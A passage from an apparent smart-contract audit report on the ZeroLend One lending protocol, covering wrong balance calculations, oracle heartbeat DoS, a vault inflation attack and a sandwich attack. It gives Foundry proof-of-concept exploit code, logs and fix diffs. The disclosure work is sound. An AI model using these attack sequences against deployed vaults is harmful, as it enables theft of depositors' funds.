  skip(12);
  vm.startPrank(alice);
  pool.supplySimple(address(tokenA), alice, 1000 ether, 0);

  skip(12);
  oracleA.updateRoundTimestamp();
  oracleB.updateRoundTimestamp();
  pool.borrowSimple(address(tokenB), alice, 375 ether, 0);

  skip(12);
  pool.repaySimple(address(tokenB), type(uint256).max, 0);

  vm.stopPrank();

  bytes32 bobPos = keccak256(abi.encodePacked(bob, 'index', uint256(0)));
  uint256 bobSupplyAssetsBefore = pool.supplyAssets(address(tokenB), bobPos);

  skip(24 * 30 * 60 * 60);

  pool.forceUpdateReserve(address(tokenB));

  assertGt(pool.supplyAssets(address(tokenB), bobPos), bobSupplyAssetsBefore); //
↪  Bob accrued interest even if there are no borrows anymore

  vm.startPrank(bob);
  // Reverts because Bob shares with the accrued interest exceed the pool balance
↪  but
  // succeed if there were other suppliers.
  vm.expectRevert();
  pool.withdrawSimple(address(tokenB), bob, type(uint256).max, 0);

  vm.stopPrank();
}
```

Mitigation

```
diff --git a/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol
↪  b/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol
index 92806b1..c070fb1 100644
--- a/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol
+++ b/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol
@@ -136,6 +136,14 @@ library BorrowLogic {
     // user input (ie params.amount)
     if (params.amount < payback.assets) payback.assets = params.amount;

+    // update balances and total supplies
+    payback.shares = balances.repayDebt(totalSupplies, payback.assets,
↪  cache.nextBorrowIndex);
+    cache.nextDebtShares = totalSupplies.debtShares;
+
+    if (balances.getDebtBalance(cache.nextBorrowIndex) == 0) {
+      userConfig.setBorrowing(reserve.id, false);
+    }
+
     reserve.updateInterestRates(
       totalSupplies,
       cache,
@@ -147,14 +155,6 @@ library BorrowLogic {
       params.data.interestRateData
     );

-    // update balances and total supplies
-    payback.shares = balances.repayDebt(totalSupplies, payback.assets,
↪  cache.nextBorrowIndex);
-    cache.nextDebtShares = totalSupplies.debtShares;
-
-    if (balances.getDebtBalance(cache.nextBorrowIndex) == 0) {
-      userConfig.setBorrowing(reserve.id, false);
-    }
-
     IERC20(params.asset).safeTransferFrom(msg.sender, address(this),
↪  payback.assets);
     emit PoolEventsLib.Repay(params.asset, params.position, msg.sender,
↪  payback.assets);
   }
```

Issue H-11: Wrong calculation of supply/debt balance of a position, disrupting core system functionalities

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/473

Found by

000000, 0xAlix2, A2-security, BiasedMerc, Bigsam, DenTonylifer, Honour, JCN, JuggerNaut63, KupiaSec, Nihavent, Obsidian, Tendency, TessKimy, Varun_05, almurhasan, charlesjhongc, coffiasd, dany.armstrong90, denzi_, dhank, ether_sky, iamnmt, jah, joshuajee, lemonmon, neon2835, oxelmiguel, perseus, silver_eth, trachev

Summary

There is an error in the calculation of the supply/debt balance of a position, impacting a wide range of operations across the system, including core lending features.

Vulnerability Detail

`PositionBalanceConfiguration` library have 2 methods to provide supply/debt balance of a position as follows:

```
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index)
↪   public view returns (uint256 supply) {
    uint256 increase = self.supplyShares.rayMul(index) -
↪   self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
>   return self.supplyShares + increase;
  }

  function getDebtBalance(DataTypes.PositionBalance storage self, uint256 index)
↪   internal view returns (uint256 debt) {
    uint256 increase = self.debtShares.rayMul(index) -
↪   self.debtShares.rayMul(self.lastDebtLiquidtyIndex);
>   return self.debtShares + increase;
  }
```

The implementation contains a critical error as it returns the `shareamount` rather than the `assetamount` held. This issue is evident when the function utilizes `index`, same as `self.lastSupplyLiquidtyIndex` or `self.lastDebtLiquidtyIndex`. Each function returns `self.supplyShares` and `self.debtShares`, which are share amounts, while the caller expects accurate asset balances. A similar issue occurs when a different index is used, still resulting in an incorrect balance that is significantly lower than the actual balance.

Below I provide a sample scenario to check supply balance (`getSupplyBalance` using same liquidity index):

1. Suppose `position.lastSupplyLiquidtyIndex` = `2RAY` (2e27) (Time passed as the liquidity increased).
2. Now position is supplied `2RAY` of assets, it got `1RAY` (2RAY.rayDiv(2RAY)) shares minted.
3. Then `position.getSupplyBalance(2RAY)` returns `1RAY` while we expect `2RAY` which is correct balance.

Below is a foundary PoC to validate one live example: failure to fully repay with type(uint256).max due to balance error. Full script can be found here.

```
function testRepayFailWithUint256MAX() external {
  _mintAndApprove(alice, tokenA, 4000 ether, address(pool));

  // Set the reserve factor to 1000 bp (10%)
  poolFactory.setReserveFactor(10_000);

  // Alice supplies and borrows tokenA from the pool
  vm.startPrank(alice);
  pool.supplySimple(address(tokenA), alice, 2000 ether, 0);
  pool.borrowSimple(address(tokenA), alice, 800 ether, 0);

  vm.warp(block.timestamp + 10 minutes);

  assertGt(pool.getDebt(address(tokenA), alice, 0), 0);
  vm.stopPrank();

  // borrow again: this will update reserve.lastDebtLiquidtyIndex
  vm.startPrank(alice);
  pool.borrowSimple(address(tokenA), alice, 20 ether, 0);
  vm.stopPrank();

  pool.forceUpdateReserve(address(tokenA));

  console.log("Debt before repay: ", pool.getDebt(address(tokenA), alice, 0));
  vm.startPrank(alice);
  tokenA.approve(address(pool), UINT256_MAX);
  pool.repaySimple(address(tokenA), UINT256_MAX, 0);
  console.log("Debt after  repay: ", pool.getDebt(address(tokenA), alice, 0));

  console.log("Assert: Debt still exists after full-repay with UINT256_MAX");
  assertNotEq(pool.getDebt(address(tokenA), alice, 0), 0);
  vm.stopPrank();
}
```

Run the test by

```
forge test --mt testRepayFailWithUint256MAX -vvv
```

Logs:

```
[PASS] testRepayFailWithUint256MAX() (gas: 567091)
Logs:
  Debt before repay:  8199999773308849823 76
  Debt after  repay:  929433690028148
  Assert: Debt still exists after full-repay with UINT256_MAX

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.68ms (1.18ms CPU
↪  time)

Ran 1 test suite in 281.17ms (4.68ms CPU time): 1 tests passed, 0 failed, 0 skipped
↪  (1 total tests)
```

Impact

Since these functions are integral to the core pool/position logic and are utilized extensively across the system, the impacts are substantial.

1. In `SupplyLogic.executeWithdraw`, withdrawl is processed based on wrong position supply balance which potentially could fail.

```
  function executeWithdraw(
    ...
  ) external returns (DataTypes.SharesType memory burnt) {
    DataTypes.ReserveData storage reserve = reservesData[params.asset];
    DataTypes.ReserveCache memory cache = reserve.cache(totalSupplies);
    reserve.updateState(params.reserveFactor, cache);

>   uint256 balance = balances[params.asset][params.position].getSupplyBalance(cach⌋
↪   e.nextLiquidityIndex);
    ...
```

2. In `BorrowLogic.executeRepay`, it would fail

- to do full-repay because `payback.assets` is not the total debt amount
- to do `setBorrwing(reserve.id,false)` because `getDebtBalance` almost unlikely goes 0, as it can't do full repay

```
  function executeRepay(
    ...
  ) external returns (DataTypes.SharesType memory payback) {
    DataTypes.ReserveCache memory cache = reserve.cache(totalSupplies);
    reserve.updateState(params.reserveFactor, cache);
>   payback.assets = balances.getDebtBalance(cache.nextBorrowIndex);
```

```
     // Allows a user to max repay without leaving dust from interest.
     if (params.amount == type(uint256).max) {
>      params.amount = payback.assets;
     }

     ...

>    if (balances.getDebtBalance(cache.nextBorrowIndex) == 0) {
       userConfig.setBorrowing(reserve.id, false);
     }

     IERC20(params.asset).safeTransferFrom(msg.sender, address(this),
  ↪  payback.assets);
     emit PoolEventsLib.Repay(params.asset, params.position, msg.sender,
  ↪  payback.assets);
   }
```

3. In `NFTPositionManagerSetter._supply` and `NFTPositionManagerSetter._borrow`, they call `NFTRewardsDistributor._handleSupplies` and `NFTRewardsDistributor._handleDebt` with wrong balance amounts which would lead to incorrect reward distribution.

```
   function _supply(AssetOperationParams memory params) internal nonReentrant {
     if (params.amount == 0) revert NFTErrorsLib.ZeroValueNotAllowed();
     if (params.tokenId == 0) {
       if (msg.sender != _ownerOf(_nextId - 1)) revert
  ↪  NFTErrorsLib.NotTokenIdOwner();
       params.tokenId = _nextId - 1;
     }

     IPool pool = IPool(_positions[params.tokenId].pool);

     IERC20(params.asset).forceApprove(address(pool), params.amount);
     pool.supply(params.asset, address(this), params.amount, params.tokenId,
  ↪  params.data);

     // update incentives
>    uint256 balance = pool.getBalance(params.asset, address(this), params.tokenId);
     _handleSupplies(address(pool), params.asset, params.tokenId, balance);

     emit NFTEventsLib.Supply(params.asset, params.tokenId, params.amount);
   }

   function _borrow(AssetOperationParams memory params) internal nonReentrant {
     if (params.target == address(0)) revert NFTErrorsLib.ZeroAddressNotAllowed();
     if (params.amount == 0) revert NFTErrorsLib.ZeroValueNotAllowed();
     if (params.tokenId == 0) {
       if (msg.sender != _ownerOf(_nextId - 1)) revert
  ↪  NFTErrorsLib.NotTokenIdOwner();
```

```
      params.tokenId = _nextId - 1;
    }

    // check permissions
    _isAuthorizedForToken(params.tokenId);

    IPool pool = IPool(_positions[params.tokenId].pool);
    pool.borrow(params.asset, params.target, params.amount, params.tokenId,
↪   params.data);

    // update incentives
>   uint256 balance = pool.getDebt(params.asset, address(this), params.tokenId);
    _handleDebt(address(pool), params.asset, params.tokenId, balance);

    emit NFTEventsLib.Borrow(params.asset, params.amount, params.tokenId);
  }
```

4. In `NFTPositionManagerSetter._repay`, wrong balance is used to estimate debt status and refunds.

- It will almost likely revert with `NFTErrorsLib.BalanceMisMatch` because `debtBalance` is share amount versus `repaid.assets` is asset amount
- `currentDebtBalance` will never go 0 because it almost unlikely gets repaid in full, hence refund never happens
- `_handleDebt` would work wrongly due to incorrect balance

```
  function _repay(AssetOperationParams memory params) internal nonReentrant {
    ...
>   uint256 previousDebtBalance = pool.getDebt(params.asset, address(this),
↪   params.tokenId);
    DataTypes.SharesType memory repaid = pool.repay(params.asset, params.amount,
↪   params.tokenId, params.data);
>   uint256 currentDebtBalance = pool.getDebt(params.asset, address(this),
↪   params.tokenId);

    if (previousDebtBalance - currentDebtBalance != repaid.assets) {
      revert NFTErrorsLib.BalanceMisMatch();
    }

    if (currentDebtBalance == 0 && repaid.assets < params.amount) {
      asset.safeTransfer(msg.sender, params.amount - repaid.assets);
    }

    // update incentives
    _handleDebt(address(pool), params.asset, params.tokenId, currentDebtBalance);

    emit NFTEventsLib.Repay(params.asset, params.amount, params.tokenId);
  }
```

5. In `CuratedVault.totalAssets`, it returns wrong asset amount.

```
  function totalAssets() public view override returns (uint256 assets) {
    for (uint256 i; i < withdrawQueue.length; ++i) {
>     assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
    }
  }
```

Code Snippet

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/configuration/PositionBalanceConfiguration.sol#L126-L140

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/SupplyLogic.sol#L118

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/pool/logic/BorrowLogic.sol#L126

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/positions/NFTPositionManagerSetters.sol#L44-L82

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/positions/NFTPositionManagerSetters.sol#L119-L121

https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVault.sol#L368-L372

Tool used

Manual Review, Foundary

Recommendation

The `getSupplyBalance` and `getDebtBalance` functions need an update to accurately reflect the balance. Referring to `getSupplyBalance` and `getDebtBalance` functions from `ReserveSuppliesConfiguration`, we can make updates as following:

```
  function getSupplyBalance(DataTypes.PositionBalance storage self, uint256 index)
↪   public view returns (uint256 supply) {
-   uint256 increase = self.supplyShares.rayMul(index) -
↪   self.supplyShares.rayMul(self.lastSupplyLiquidtyIndex);
-   return self.supplyShares + increase;
+   return self.supplyShares.rayMul(index);
  }

  function getDebtBalance(DataTypes.PositionBalance storage self, uint256 index)
↪   internal view returns (uint256 debt) {
```

```
-   uint256 increase = self.debtShares.rayMul(index) -
 ↪  self.debtShares.rayMul(self.lastDebtLiquidtyIndex);
-   return self.debtShares + increase;
+   return self.debtShares.rayMul(index);
  }
```

Discussion

DemoreXTess

Escalate

As I stated in #107 , there are two issues categorized in the same pool. I know it's same problem which is applied to two different variable but the debt and supply are completely different things. Those issues have completely different impacts on the protocol even the problem is similar.

sherlock-admin3

> Escalate
>
> As I stated in #107 , there are two issues categorized in the same pool. I know it's same problem which is applied to two different variable but the debt and supply are completely different things. Those issues have completely different impacts on the protocol even the problem is similar.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

Tomiwasa0

2 different issues with 2 different impacts. 2 different root cause but similar. This should be separated into two issues Incorrect Supply - 189, 210, 1, 19, 29, 84,127,149, 51, 243, 250, 269, 313, 357, 420, 440, 491, 506. Incorrect Debt - 190, 208, 2, 30 126, 152, 157, 161, 180, 254 ,270, 314, 421, 459.

Some Watsons submitted this together - 52, 473, 138, 272, 444, 469, 503, 504, 516.

I missed some anyone can help add them also. But my point is in line with @DemoreXTess these are two different issues with different impacts hence they should be classified appropriately. Thank you.

cvetanovv

I disagree with the escalation.

The Lead Judge correctly duplicated them under the same logical error rule.

> If the following issues appear in multiple places, even in different contracts

- Issues with the same logic mistake.

Moreover, the root cause is the same. It is that the functions return `shareamount` instead of `assetamount`.

You might also look at some Watson's who have written two issues and see how the difference is only a few words (for example, #151 and #152).

Planning to reject the escalation and leave the issue as is.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- DemoreXTess: rejected

Issue M-1: Using the same heartbeat for multiple price feeds, causing DOS

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/9

Found by

000000, 0xAlix2, 0xAristos, 0xDemon, 0xMax1mus, 0xlrivo, A2-security, Bauchibred, EgisSecurity, HackTrace, Honour, Obsidian, aman, emmac002, iamnmt, perseus, sheep, theweb3mechanic, zarkk01

Summary

Chainlink price feeds usually update the price of an asset once it deviates a certain percentage. For example the ETH/USD price feed updates on 0.5% change of price. If there is no change for 1 hour, the price feed updates again - this is called heartbeat: https://data.chain.link/feeds/ethereum/mainnet/eth-usd.

According to the docs, the protocol should be compatible with any EVM-compatible chain. On the other hand, different chains use different heartbeats for the same assets.

Different chains have different heartbeats:

USDT/USD:

- Linea: ~24 hours, https://data.chain.link/feeds/linea/mainnet/usdt-usd
- Polygon: ~27 seconds, https://data.chain.link/feeds/polygon/mainnet/usdt-usd

BNB/USD:

- Ethereum: ~24 hours, https://data.chain.link/feeds/ethereum/mainnet/bnb-usd
- Optimism: ~20 minutes, https://data.chain.link/feeds/optimism/mainnet/bnb-usd

In , the protocol is using the same heartbeat for all assets/chains, which is 30 minutes.

This causes the protocol to regularly revert unexpectedly (DOS).

Root Cause

The same heartbeat is being used for all chains/assets, in `PoolGetters::getAssetPrice`.

Impact

Either constant downtime leading to transactions reverting or insufficient staleness checks leading to the possibility of the old price.

PoC

1. User calls `withdraw`, to withdraw his collateral (in USDT) from a certain pool on Linea
2. The `withdraw` function calls other multiple functions leading to `GenericLogic::calculateUserAccountData` (which gets the price of an asset)
3. The contract calls the Oracle USDT/USD feed on Linea
4. At the moment the heartbeat check for every price feed on every chain is set to 30 minutes
5. The price was not updated for more than 2 hours since the heartbeat for the pair is 24 hours and also not changed 1% in either direction
6. The transaction reverts causing DoS

Mitigation

Introduce a new parameter that could be passed alongside the oracle which refers to the heartbeat of that oracle, so that `updatedAt` could be compared with that value.

Issue M-2: CuratedVaults are prone to inflation attacks due to not utilising virtual shares

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/141

Found by

0xMax1mus, A2-security, Bauchibred, BiasedMerc, Jigsaw, Oblivionis, Obsidian, TessKimy, iamnmt

Summary

An attacker can frontrun a user's deposit transaction in a new vault pool position, stealing 100% of the depositors underlying token deposit by causing no shares to be minted to the user. This is caused by inflating the value of the shares to cause the user's underlying token deposit amount to round down to be worth 0 shares.

Vulnerability Detail

SharesMathLib.sol

```
library SharesMathLib {
  using MathLib for uint256;
...SKIP...
  uint256 internal constant VIRTUAL_SHARES = 0;
...SKIP...
  uint256 internal constant VIRTUAL_ASSETS = 0;
```

The morpho version that this code is based on has these values set to non-zero, which allows them to be protected against vault inflation attacks. However ZeroLend One has these values set to `0` meaning the vault inflation protection are not in place.

POC

```
vm.startPrank(attacker);
loanToken.approve(address(vault), type(uint256).max);
collateralToken.approve(address(vault), type(uint256).max);
vm.stopPrank();

// ERC4626Test context address, as vm.startPrank does not change the context
↪  msg.sender in the test file
```

```
vm.startPrank(0x50EEf481cae4250d252Ae577A09bF514f224C6C4);
loanToken.approve(0xC8011cB77CC747B5F30bAD583eABfb522Be25712, type(uint256).max);
↪  // market where we will be sending donation
collateralToken.approve(0xC8011cB77CC747B5F30bAD583eABfb522Be25712,
↪  type(uint256).max);
vm.stopPrank();
```

Declare the attacker address in `BaseVaultTest.sol` contract under the other addresses:

```
address internal attacker = makeAddr('attacker');
```

Add the following function to `ERC4626Test.sol`:

```
function testVaultInflationAttack() public {
  uint256 attackerAssets = 1e18+1;
  uint256 attackerDonation = 1e18;
  uint256 supplierAssets = 1e18;

  loanToken.mint(attacker, attackerAssets);
  loanToken.mint(supplier, supplierAssets);

  /// attacker front-run supplier
  loanToken.mint(0x50EEf481cae4250d252Ae577A09bF514f224C6C4, attackerDonation); //
↪  ERC4626Test context will perform the donation as vm.startPrank isn't changing
↪  msg.sender to attacker
  allMarkets[0].supplySimple(address(loanToken), address(vault), attackerDonation,
↪  0); // supply vault market position
  console.log("attacker donates assets:", attackerDonation);

  vm.prank(attacker);
  uint256 attackerShares = vault.deposit(attackerAssets, attacker);
  console.log("attacker deposits underlying:", attackerAssets);
  console.log("attacker shares:", attackerShares);
  loanToken.mint(address(vault), 1e18); // same as attacker transfering, but having
↪  issue with foundry
  // attacker donation

  /// supplier deposit transaction
  vm.prank(supplier);
  uint256 supplierShares = vault.deposit(supplierAssets, supplier);
  console.log("supplier deposits underlying:", supplierAssets);
  console.log("supplier shares:", supplierShares);

  console.log("vault underlying:", vault.totalAssets());
  console.log("vault shares:", vault.totalSupply());
}
```

```
Logs:
  attacker donates assets: 1000000000000000000
  attacker deposits underlying: 1000000000000000001
  attacker shares: 1
  supplier deposits underlying: 1000000000000000000
  supplier shares: 0
  vault underlying: 3000000000000000001
  vault shares: 1
```

Impact

As seen from the POC logs the depositor is minted 0 shares, and the attacker controls the singular share of the vault allowing them to redeem the share and get back their `2e18+1` attack funds and `1e18` of the supplier's funds. This is a clear loss of funds due to an inflation attack, leading to a High risk vulnerability as each vault will be vulnerable to this risk due to not utilising the Morpho vault inflation protections.

Code Snippet

SharesMathLib.sol

Tool used

Foundry and Manual Review

Recommendation

Utilise the same values as Morpho for `VIRTUAL_SHARES` and `VIRTUAL_ASSETS`:

```
library SharesMathLib {
    using MathLib for uint256;

    /// @dev The number of virtual shares has been chosen low enough to prevent
↪   overflows, and high enough to ensure
    /// high precision computations.
    /// @dev Virtual shares can never be redeemed for the assets they are entitled
↪   to, but it is assumed the share price
    /// stays low enough not to inflate these assets to a significant value.
    /// @dev Warning: The assets to which virtual borrow shares are entitled behave
↪   like unrealizable bad debt.
    uint256 internal constant VIRTUAL_SHARES = 1e6;

    /// @dev A number of virtual assets of 1 enforces a conversion rate between
↪   shares and assets when a market is
    /// empty.
    uint256 internal constant VIRTUAL_ASSETS = 1;
```

Discussion

sherlock-admin4

1 comment(s) were left on this issue during the judging contest.

Honour commented:

> Invalid: misleading POC. Intentionally doesn't show attackers profit as it results in a loss of funds for attacker as well

nevillehuang

DECIMAL_OFFSETS and virtual shares work hand in hand to combat first depositor inflation attacks, so I personally believe they are duplicates and under a single category of issues. Additionally, even if offset is zero and virtual shares is implemented, it can already make the attack non-profitable, so I would say the root cause here is the lack of implementation of a virtual share

> If the offset is greater than 0, the attacker will have to suffer losses that are orders of magnitude bigger than the amount of value that can hypothetically be stolen from the user.

Honour-d-dev

This "attack" result in a loss for both attacker and victim... I don't believe it is valid because IRL no one would pull of an attack where they loose funds as well, it can't even count as griefing.

Also the PoC is incomplete and misleading by omitting the fact that there's a huge loss for the attacker as well

Honour-d-dev

Escalate

per above comment

sherlock-admin3

> Escalate
>
> per above comment

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

cvetanovv

Although the grief attack will also cause the malicious user to take losses, it is possible, and I think Medium severity is appropriate for this issue.

Planning to reject the escalation and leave the issue as is.

WangSecurity

Result: Medium Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- Honour-d-dev: rejected

Issue M-3: Malicious actors can execute sandwich attacks during market addition with existing funds

Source: https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143

Found by

0xNirix

Summary

The immediate addition of assets from a new and re-added market with existing assets in vault's position will cause a significant financial loss for existing vault users as attackers will execute a sandwich attack to profit from the asset-share ratio changes.

Root Cause

The vulnerability stems from the immediate update of total assets when adding or re-adding a market with existing assets in the vault's position. This occurs in the _setCap method called by acceptCap: https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVaultSetters.sol#L85-L105

```
withdrawQueue.push(pool);

if (withdrawQueue.length > MAX_QUEUE_LENGTH) revert
 ↪  CuratedErrorsLib.MaxQueueLengthExceeded();

marketConfig.enabled = true;

// Take into account assets of the new market without applying a fee.
pool.forceUpdateReserve(asset());
uint256 supplyAssets = pool.supplyAssets(asset(), positionId);
_updateLastTotalAssets(lastTotalAssets + supplyAssets);
```

This immediate update to assets is also reflected in the totalAssets() function, which sums the balance of all markets in the withdraw queue https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVault.sol#L368

```
function totalAssets() public view override returns (uint256 assets) {
  for (uint256 i; i < withdrawQueue.length; ++i) {
    assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
  }
}
```

The totalAssets() value is then used in share-to-asset conversions:

```
function _accruedFeeShares() internal view returns (uint256 feeShares, uint256
↪  newTotalAssets) {
   newTotalAssets = totalAssets();
```

```
assets = _convertToAssetsWithTotals(shares, totalSupply(), newTotalAssets,
↪  MathUpgradeable.Rounding.Up);
```

This mechanism allows an attacker to observe the acceptCap transaction and execute a sandwich attack:

Deposit assets to receive X shares for Y assets before the market addition. After the market addition increases total assets, withdraw the same X shares to receive Y + □ assets, where □ is determined by the new asset-to-share ratio.

Internal pre-conditions

1. Admin needs to call acceptCap() to add a market
2. The new/ re-added market needs to have a non-zero supplyAssets value in vault's position

External pre-conditions

No response

Attack Path

1. Attacker calls deposit() just before a market with existing position for the vault is added
2. Admin calls acceptCap() to add the market with existing funds for the vault
3. Assets of the vault are immediately increased by the amount of assets in the position for the added market, as the market is added to the withdraw queue and total assets take into account assets from all markets present in the withdraw queue
4. Attacker calls withdraw() to remove their recently deposited funds
5. Attacker receives more assets than initially deposited due to the increased asset to share ratio.

Impact

The existing vault users suffer a loss proportional to the size of the new/ re-added market's assets relative to the total vault assets before the addition. The attacker gains this difference at the expense of other users.

Isn't it impossible to add a market with existing funds? A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn. Adding a new market that received donations to the vaults position directly via the pool contract.

The contract specifically accounts for these cases by not charging fees on these pre-existing funds, as shown by the comment in the code `//Takeintoaccountassetsofthe newmarketwithoutapplyingafee.`

Why is this vulnerability critical? A: It's critical because:

- It directly risks funds belonging to existing users which were lost when a market had to be removed with leftover funds.
- Even donations loss can be considered as a loss for existing users.

PoC

No response

Mitigation

In case of adding a market with existing funds, consider gradual unlocking of assets over a period of time.

Discussion

nevillehuang

request poc

sherlock-admin4

PoC requested from @0xNirix

Requests remaining: **13**

0xNirix

Thanks. Here is the POC code and result

```
pragma solidity ^0.8.0;

import './helpers/BaseVaultTest.sol';
import {CuratedErrorsLib, CuratedEventsLib, CuratedVault, PendingUint192} from
↪  '../../../../contracts/core/vaults/CuratedVault.sol';
import {CuratedVaultFactory, ICuratedVaultFactory} from
↪  '../../../../contracts/core/vaults/CuratedVaultFactory.sol';

uint256 constant TIMELOCK = 1 weeks;

contract CuratedVaultSandwichTest is BaseVaultTest {
    using MathLib for uint256;

    ICuratedVault internal vault;
    ICuratedVaultFactory internal vaultFactory;
    ICuratedVaultFactory.InitVaultParams internal defaultVaultParams;

    address attacker;
    address user;

    function setUp() public {
        \_setUpBaseVault();
        \_setUpVault();

        attacker = makeAddr("attacker");
        user = makeAddr("user");

        // Setup initial cap for all
        \_setCap(allMarkets[0], 600 ether);
        \_setCap(allMarkets[1], 600 ether);
        \_setCap(allMarkets[2], 600 ether);

        // Set supply queue to use both markets
        IPool[] memory newSupplyQueue = new IPool[](2);
        newSupplyQueue[0] = allMarkets[0];
        newSupplyQueue[1] = allMarkets[1];
        vm.prank(allocator);
        vault.setSupplyQueue(newSupplyQueue);

        // Mint tokens to users
        deal(address(loanToken), user, 1000 ether);
        deal(address(loanToken), attacker, 1000 ether);

        // Approve vault to spend user's tokens
        vm.prank(user);
        loanToken.approve(address(vault), 1000 ether);
        vm.prank(attacker);
        loanToken.approve(address(vault), 1000 ether);
    }

    function \_setUpVault() internal {
        // copied from Integration Vault Test
        CuratedVault instance = new CuratedVault();
        vaultFactory = ICuratedVaultFactory(new
↪   CuratedVaultFactory(address(instance)));

        // setup the default vault params
        address[] memory admins = new address[](1);
        address[] memory curators = new address[](1);
        address[] memory guardians = new address[](1);
        address[] memory allocators = new address[](1);
        admins[0] = owner;
        curators[0] = curator;
        guardians[0] = guardian;
        allocators[0] = allocator;
        defaultVaultParams = ICuratedVaultFactory.InitVaultParams({
            revokeProxy: true,
            proxyAdmin: owner,
            admins: admins,
            curators: curators,
            guardians: guardians,
            allocators: allocators,
            timelock: 1 weeks,
            asset: address(loanToken),
            name: 'Vault',
            symbol: 'VLT',
            salt: keccak256('salty')
        });

        vault = vaultFactory.createVault(defaultVaultParams);

        vm.startPrank(owner);
        vault.grantCuratorRole(curator);
        vault.grantAllocatorRole(allocator);
        vault.setFeeRecipient(feeRecipient);
        vault.setSkimRecipient(skimRecipient);
        vm.stopPrank();

        \_setCap(idleMarket, type(uint184).max);

        loanToken.approve(address(vault), type(uint256).max);
        collateralToken.approve(address(vault), type(uint256).max);

        vm.startPrank(supplier);
        loanToken.approve(address(vault), type(uint256).max);
        collateralToken.approve(address(vault), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(onBehalf);
        loanToken.approve(address(vault), type(uint256).max);
        collateralToken.approve(address(vault), type(uint256).max);
        vm.stopPrank();
    }
```

```
function \_setCap(IPool pool, uint256 newCap) internal {
    // largely copied from IntegrationVaultTest.sol

    uint256 cap = vault.config(pool).cap;
    bool isEnabled = vault.config(pool).enabled;


    if (newCap == cap) {
        console.log("New cap is the same as current cap, returning");
        return;
    }

    PendingUint192 memory pendingCap = vault.pendingCap(pool);

    if (pendingCap.validAt == 0 || newCap != pendingCap.value || true) {
        vm.prank(curator);
        vault.submitCap(pool, newCap);
    }

    vm.warp(block.timestamp + vault.timelock());

    if (newCap > 0) {
        vault.acceptCap(pool);
        if (!isEnabled) {
            IPool[] memory newSupplyQueue = new
↪ IPool[](vault.supplyQueueLength() + 1);
            for (uint256 k; k < vault.supplyQueueLength(); k++) {
                newSupplyQueue[k] = vault.supplyQueue(k);
            }
            newSupplyQueue[vault.supplyQueueLength()] = pool;
            vm.prank(allocator);
            vault.setSupplyQueue(newSupplyQueue);
        }
    }
}

function testSandwichAttackOnMarketReaddition() public {

    // Initial deposit by a user
    vm.prank(user);
    vault.deposit(800 ether, user);

     // Log state
    console.log("Total initial assets:", vault.totalAssets()/ 1 ether, "ether");
    console.log("User shares:", vault.balanceOf(user) / 1 ether, "ether");
    console.log("User assets:", vault.convertToAssets(vault.balanceOf(user))/ 1
↪ ether, "ether");
```

```
        // First market had to be removed due to issues.
        \_setCap(allMarkets[0], 0);
        vm.startPrank(curator);
        vault.submitMarketRemoval(allMarkets[0]);
        vm.stopPrank();

        vm.warp(block.timestamp + vault.timelock() + 1);

        vm.startPrank(allocator);
        uint256[] memory withdrawQueue = new uint256[](3);
        // the index of first market is 1 in withdrawal queue as setup in
↪   basevaulttest
        withdrawQueue[0] = 0;
        withdrawQueue[1] = 2;
        withdrawQueue[2] = 3;
        vault.updateWithdrawQueue(withdrawQueue);
        vm.stopPrank();

        // Attacker deposits just before market is re-added
        vm.prank(attacker);
        uint256 attackerShares = vault.deposit(300 ether, attacker);

        console.log("Attacker initial deposit: 300 ether");
        console.log("Attacker shares received: ", attackerShares/ 1 ether, "ether");

        // Re-add the removed market back which had assets
        \_setCap(allMarkets[0], 600 ether);

        // Attacker withdraws
        vm.prank(attacker);
        uint256 withdrawnAssets = vault.redeem(attackerShares, attacker, attacker);

        console.log("Attacker assets withdrawn after market readdition: ",
↪   withdrawnAssets/ 1 ether, "ether");
        console.log("Attacker profit: ", (withdrawnAssets - 300 ether) / 1 ether,
↪   "ether");

        // Check the impact on the user
        uint256 userShares= vault.balanceOf(user);
        uint256 userAssetsAfter = vault.convertToAssets(userShares);

        console.log("After attack, User assets: ", userAssetsAfter/ 1 ether,
↪   "ether");
        console.log("After attack, User loss: ", (800 ether - userAssetsAfter)/ 1
↪   ether, "ether");

        // Log final state
        console.log("Total assets after attack:", vault.totalAssets()/ 1 ether,
↪   "ether");
    }
```

```
}
```

Log output

